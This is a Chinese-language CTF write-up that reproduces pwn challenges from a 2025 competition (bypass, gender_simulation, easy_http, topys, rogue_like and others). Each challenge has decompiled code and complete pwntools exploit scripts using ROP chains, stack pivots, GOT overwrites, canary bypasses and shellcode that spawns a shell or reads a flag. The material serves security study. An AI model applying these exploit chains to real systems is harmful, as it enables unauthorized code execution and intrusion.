[春秋杯冬季赛2025] pwn复现
看了不少WP,终于把这些重走了一遍。学到不少。
第1天
bypass
先是泄露了libc地址,然后在输入key和val的时候从临时变量s向目标位置复制时并没有正确的判断字符串长度,当val长度填满时会把前边填入的key的值连续复制,造成溢出。由于复制的时候以0表示结束,所以只能写到ret,在这时写one即可。
int m0()
{
ssize_t v0; // rax
char s[512]; // [rsp+0h] [rbp-610h] BYREF
char s2[512]; // [rsp+200h] [rbp-410h] BYREF
char v4[526]; // [rsp+400h] [rbp-210h] BYREF
__int16 i; // [rsp+60Eh] [rbp-2h]
memset(v4, 0, 0x200uLL);
memset(s2, 0, sizeof(s2));
memset(s, 0, sizeof(s));
v0 = read(0, s, 0x200uLL);
if ( v0 >= 0 )
{
LODWORD(v0) = strncmp(s, "KEY: ", 5uLL);
if ( !(_DWORD)v0 )
{
for ( i = 5; s[i]; ++i )
s2[i - 5] = s[i];
s2[i - 5] = 0;
memset(s, 0, sizeof(s));
v0 = read(0, s, 0x200uLL);
if ( v0 >= 0 )
{
LODWORD(v0) = strncmp(s, "VAL: ", 5uLL);
if ( !(_DWORD)v0 )
{
for ( i = 5; s[i]; ++i )
v4[i - 5] = s[i]; // 先填充s2再用,s1填充v4溢出
v4[i - 5] = 0;
LODWORD(v0) = strcmp(dest, s2);
if ( !(_DWORD)v0 )
{
LODWORD(v0) = strcmp(byte_602140, v4);
if ( !(_DWORD)v0 )
{
puts("good job!");
exit(0);
}
}
}
}
}
}
return v0;
}
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = process('./pwn')
p = remote('101.200.198.105', 30867)
p.send(p32(2))
p.recvuntil(b'Invalid\n')
libc.address = u64(p.recvline()[:-1].ljust(8,b'\0')) - libc.sym['puts']
print(f"{libc.address = :x}")
#
#gdb.attach(p, "b*0x400b6b\nc")
p.send(p32(0))
one = [0x4f2a5,0x4f302,0x10a2fc]
p.send((b'KEY: '+b'A'*(14+4)+b'X'+p8(0x18+4)+b'B'*9+p64(libc.address+one[1])).ljust(0x200,b'\0'))
p.send(b'VAL: '+b'A'*(0x200-5))
p.interactive()
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
gender_simulation
C++的程序,辣子鸡丁式程序,找到一些代码。在选girl再选tomboy时,输入的内容作为指针处理,在这里输入后门地址,后门里有溢出。
if ( v10 == 50 )
{
std::string::basic_string(v9);
v17 = a1;
v6 = std::operator<<<std::char_traits<char>>(
&std::cout,
"If you think you are a boy, please leave your gender certificate");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
std::operator>><char>(&std::cin, v9);
v7 = (const char *)std::string::c_str(v9);// 输入的值被当作函数指针
strncpy((char *)v17 + 8, v7, 0x10uLL);
(**(void (__fastcall ***)(Baby *))v17)(v17);
std::string::~string(v9);
return std::string::~string(v11);
}
from pwn import *
context(arch='amd64',log_level = 'debug')
libc = ELF('./libc.so.6') #2.39-0u8.3
elf = ELF('./pwn')
p = process('./pwn')
p.recvuntil(b"A gift: ")
libc.address = int(p.recvline(), 16) - libc.sym['setvbuf']
print(f"{libc.address = :x}")
p.sendlineafter(b"2. Girl\n", b'2')
p.sendlineafter(b"2. Tomboy\n", b'2')
#当选择Tomboy时,会在this+1处读入16字节,然后执行this+1处的函数指针。
p.sendlineafter(b"If you think you are a boy, please leave your gender certificate\n", p64(0x4025e6))
'''
pwndbg> x/20gx 0x4192a0
0x4192a0: 0x0000000000000000 0x0000000000000021
0x4192b0: 0x0000000000405d60 0x0000000000403351 <-- Backdoor:0x4025e6 _Z6genderv
0x4192c0: 0x0000000000000000 0x000000000000ed41
0x405d60->0x4033f6:Girl::gender(Girl *__hidden this) (this+1)("The certificate is ")
'''
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
pay = b'\0'*0x18 + flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
#gender
p.sendafter(b"If you think you are a shopping bag, please leave your gender certificate\n", pay)
p.interactive()
第2天
easy_http
又是一个复杂代码系统。不清楚这PWN走向何方。难度不大代码巨难看。改成考看代码了。模拟了一个web服务器,有4个路由add,free,edit,show代码很长,其实都没用。在把输入数据解析后进入处理程序,这里空间很小,向栈内复制时会造成溢出。跟走哪个路由没关系。
有个坑,在子进程处理时栈溢出后运行里会有指针用到栈外的数据,需要用个ppp跳过。
from pwn import *
context(arch='amd64', log_level='debug')
p = process('./pwn')
gdb.attach(p, "set follow-fork-mode child\nb*0x40218d\nc")
aa = "POST /show HTTP/1.1\r\nHost: a\r\nContent-Length: {}\r\nContent: "
#show canary
pay = b'A'*0x108+b'X'
p.send(aa.format(len(pay)).encode()+pay +b'\r\n')
p.recvuntil(b'AAX')
canary = b'\0'+p.recv(7)
print('canary = ',canary.hex())
#rop
bss = 0x4e9000
ppp5 = 0x000000000040545d # pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
pop_rdi = 0x000000000040297f # pop rdi ; ret
pop_rsi = 0x000000000040a9ee # pop rsi ; ret
pop_rdx = 0x00000000004a4c4b # pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000459227 # pop rax ; ret
syscall = 0x422ff6 #syscall;ret
pay = b'A'*0x108+canary+flat([0,
ppp5, (b'a'*0x15+b'/add\0').ljust(0x28,b'a'), #qword_4E8308指向一个route 写/add\0
pop_rdi,0,pop_rsi,bss,pop_rdx,4,0,pop_rax,0,syscall, #read 'flag'
pop_rdi,bss, pop_rsi,0,pop_rax,2,syscall, #open(flag)
pop_rdi,3,pop_rsi,bss,pop_rdx,0x50,0,pop_rax,0, syscall, #read(3,buf,0x50)
pop_rdi,1,pop_rax,1,syscall
])
p.send(aa.format(len(pay)).encode()+pay +b'\r\n')
sleep(1)
p.send(b'flag')
p.interactive()
easyshellcode
先输入0x30的name,然后输入3字节代码执行。3字节可以用push rsi;pop rsp;ret跳到name处的ROP执行。ROP执行个read向代码处读入代码。再跳到代码执行shellcode。本地好好的,但是远程一直不成功。后来的WP里也没有。不清楚怎么回事,按理说shellcode题不应该环境不同。
from pwn import *
context(arch='amd64', log_level='debug')
p = process('./pwn')
#gdb.attach(p, "b*0x4013c4\nc")
p.recvuntil(b"gift: ")
buf = int(p.recvuntil(b'.', drop=True), 16)
pop_rdi_rsi = 0x4013c9
syscall = 0x401332
mov_edx_ecx = 0x4012b1
#rax=0 read(0,buf,xx);buf;
p.sendafter(b"> ", flat(pop_rdi_rsi, 0,buf,mov_edx_ecx,syscall,buf))
p.sendafter(b"> ", b'V\\\xc3') #push rsi;pop rsp;ret
p.send(asm(shellcraft.sh()))
p.interactive()
第3天
riya
输入个n就行了,代码不用看了。
topys
代码简单了,作起来难了,到泄露的地方就没弄完。看了WP,还有再跳一次。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF
sub_4011D6();
puts("There are no toys here!");
printf("Data: ");
fgets(s, 4919, stdin);
if ( strlen(s) > 0x80 )
{
puts("Too many!");
exit(-1);
}
puts("OK!");
return 0LL;
}
fgets有个溢出,只是没有可用的gadget。用代码里fgets后边会有leave ret,所以要移栈。
这里用到大概3块,第1块是got表,因为栈有0x80长,对应的后部就是0x80这块,当执行got的写入和泄露时返回地址写到+80的里,但是在这里执行代码会导致覆盖got表系统崩掉。所以这里应该写leave ret跳远远的。跳到在+800的位置。这里一共跳7次。1先移栈到+800,2写3个leave ret到+80处,跳回到+810,写got表(不溢出,利用已写好的+80处的leave ret跳到+800),由于高版本的libc在写got表把strlen改为puts后并不会对这个不正确的位置重填充,所以不能一次完成修改和泄露。在跳到800后再执行移栈跳到got表的其它项执行strlen泄露,最后跳回后写ROP。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6') #Ubuntu GLIBC 2.39-0ubuntu8.3
elf = ELF('./pwn')
call_fgets = 0x401274 #fgets(s,4919,stdin);strlen(s);puts('');leave;ret
call_strlen = 0x40128c # strlen(s);puts('');leave;ret
leave_ret = 0x4012cd # leave;ret
got_base = 0x404000
got_strlen = 0x404008
plt_puts = 0x401090
#fgets有溢出,多次移栈泄露libc 防止移栈后写到不能写区域
p = process('./pwn')
gdb.attach(p, "b*0x4012cd\nc")
#1
p.sendlineafter(b"Data: ", flat(b'\0'*0x80, got_base+0x800, call_fgets))
#2 800 810 820 830
p.sendlineafter(b"OK!\n", flat(b'\0'*0x80, got_base+0x100, call_fgets, got_strlen+0x80, call_fgets, got_strlen+0x98, call_strlen, got_strlen+0x700, call_fgets))
'''
0x404800: 0x0000000000404100 0x0000000000401274 #1 read(0x404080)
0x404810: 0x0000000000404088 0x0000000000401274 #3 read(0x404008) 0x404008 <strlen@got.plt>: 0x0000000000401090
0x404820: 0x00000000004040a0 0x000000000040128c #5 puts:strlen(0x404020)
0x404830: 0x0000000000404708 0x0000000000401274 #7 read(0x404680)
'''
#3
p.sendlineafter(b"OK!\n", flat(0, got_base+0x820,leave_ret,0,got_base+0x830,leave_ret,).ljust(0x80,b'\0') + flat(got_base+0x810, leave_ret) )
'''
0x404080: 0x0000000000000000 0x0000000000404820 #4
0x404090: 0x00000000004012cd 0x0000000000000000
0x4040a0: 0x0000000000404830 0x00000000004012cd #6
...
0x404100: 0x0000000000404810 0x00000000004012cd #2
'''
#4
p.sendlineafter(b"OK!\n", flat(plt_puts))
#5
p.recvuntil(b"OK!\n")
libc.address = u64(p.recv(6)+b'\0\0') - 0x88540
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret #next(libc.search(asm('pop rdi;ret')))
#6
p.sendlineafter(b"OK!\n", flat(b'\0'*0x80,0x404900, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
'''
0x404710: 0x0000ffffef90f75b 0x00007ffff7dcb42f
0x404720: 0x00007ffff7c58740
'''
p.interactive()
rogue_like
这个一直没复现成,可能跟本地和远程有关。在 close(2)后,程序会退出。而远程可能并不受影响。
程序一共有3个菜单,每个菜单里又各有3项。
菜单1的3项分别是:1,写mmap的地址任意偏移处8字节0;2,写1个字符;3,泄露maps
菜单2的3项分别是:1,任意地址写随机数;2,任意地址加不大于5的数,3,同2但有canary
菜单3的3项分别是:1,溢出但close(0);2,泄露栈但没有溢出,3,off_by_null可以将rbp尾字节置0
菜单3会先close(1),close(2)
从后边往前看,有溢出的没有canary不行,泄露canary的又没有溢出。最后出口只有3个,所以选择有溢出的,在1和3里选3,保留标准输入,反正如果有了shell可能把1重定向到0上。
第3关肯定过不了canary所以第1层就只能选1,覆盖canary为0
第2关在官方WP是向got.alarm加5使它把向syscall,然后pop rsp支执行。怎么弄也没弄成。然后我就没用,随便写个地址。不影响运行就行。也没弄成。估计就差在close(2)的里本地和远程的区别了。
题目给了libc-2.27.so,这种旧版的libc 在mmap时会加载到一个固定位置,而且每次都相同。所以先运行下程序选3,泄露maps计算出str与TLS里canary的偏移。
由于没有改alarm,在第3步的时候先作个read到bss然后移栈(因为修改尾字节的移栈空间太小),再调用attack_power的后部直接利用写在栈里值加到got.atoi里将其变成system(改atoi是因为这里与system比较近,其它的就需要大点的数)然后再调用atoi。如果没有关close(2)的话可以拿到shell
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.27.so')
elf = ELF('./pwn')
p = process('./pwn2')
'''
gef➤ x/2gx &str
0x6020f0 <str>: 0x00007ffff7ff6000 0x0000000000000001
gef➤ canary
[+] The canary of process 3629749 is at 0x7ffff7ff85a8, value is 0x7378a12ff7534b00
gef➤ x/2gx 0x7ffff7ff85a8
0x7ffff7ff85a8: 0x7378a12ff7534b00 0x17fd355f4c0b9189
gef➤ p 0x7ffff7ff85a8-0x00007ffff7ff6000
$1 = 0x25a8
'''
#gdb.attach(p, "b*0x400c8a\nc")
#1.1 set_zero canary:str-x25a8=0
p.sendlineafter(b"> ", b'1')
p.sendafter(b'..!?\n', str(0x25a8).encode()) #0x25a8 #先手工运行选3计算str与canary的偏移
#gdb.attach(p, "b*0x401000\nc")
#2.2 attack_power got.alarm alarm+5=syscall
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", str(0x602100).encode())
#3.3 challenge3 read 0x100,read 0x50,set rbp=...0
p.sendlineafter(b"> ", b'3')
#close(1)
pop_rdi = 0x4013f4
pop_rsi = 0x4013f6
pop_rdx = 0x4013f8
pop_rsp = 0x4013fa
pop_rbp = 0x4013fd
bin_sh = 0x4019d7
ret = 0x4013f5
bss = 0x602b00
syscall = elf.got['alarm'] #0x602058
canary = 0
#gdb.attach(p, "b*0x401376\nc")
#pay = flat(pop_rbp,0x602800,pop_rdi,bin_sh,pop_rsi,0,pop_rdx,0,pop_rsp,syscall,canary) #官WP
pay3 = flat(pop_rbp, bss+0x210, 0x400fdc).ljust(0x200, b'\0')
pay3+= flat(p32(libc.sym['system']-libc.sym['atoi'])*2,0,0,ret,pop_rdi,bss+0x248,elf.plt['atoi'],0,0,b'/bin/sh\0')
pay = flat(pop_rdx,len(pay3),pop_rsi,bss,elf.plt['read'],pop_rsp,bss,0)
pay = p64(ret)*((0x100-len(pay))//8) + pay
pay2 = pay[:0x50]
p.send(pay) #buf[v1] = 0; rbp=...0
p.send(pay2)
#bss
p.send(pay3)
p.send(str(elf.got['atoi']).zfill(0x15).encode())
#sleep(0.5)
p.sendline(b"exec 1>& 0")
p.sendline(b'cat flag')
p.interactive()